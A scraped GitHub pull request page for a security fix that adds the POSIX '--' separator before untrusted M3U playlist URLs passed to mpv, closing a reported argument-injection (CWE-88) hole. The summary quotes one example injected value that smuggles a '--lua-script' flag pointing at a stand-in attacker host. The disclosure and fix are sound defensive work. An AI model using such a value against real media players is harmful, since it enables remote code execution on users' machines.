Conversation
louzt
force-pushed
the
sec/mpv-arg-injection
branch
from
June 15, 2026 09:14
102505f to
87b0483
Compare
louzt
force-pushed
the
sec/mpv-arg-injection
branch
from
June 15, 2026 09:21
87b0483 to
41974ee
Compare
Author
|
Marking this as ready for review. The branch has been force-pushed with the definitive architectural fix for the CWE-88 (Argument Injection) vulnerability reported in #424. Technical Analysis of the Fix:The execution vector has been explicitly reordered within
flowchart LR
subgraph Stream ["Command Ingestion Lane"]
direction LR
A["mpv binary"] --> B["Legitimate Flags<br/>(HWDEC, Volume, etc.)"]
B --> C{"POSIX Token<br/>'--'"}
C -->|Disables Option Parsing| D["Untrusted Strings<br/>(Malicious M3U URL)"]
end
|
louzt
marked this pull request as ready for review
June 15, 2026 09:23
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Prevents RCE by forcing URLs to be treated as positional arguments with the POSIX
--separator. Without--, a malicious M3U URL likehttps://evil.com --lua-script=http://evil.shwould be parsed as an mpv flag.What Changed
src-tauri/src/mpv.rs:152— added--separator before channel URL in mpv argsWhy
Reported as #424 — CWE-88 (Argument Injection). Zero-click exploit reachable through a malicious M3U playlist.
Compatibility Note
No breaking changes. The
--separator is standard POSIX.Validation
cargo checkpasses.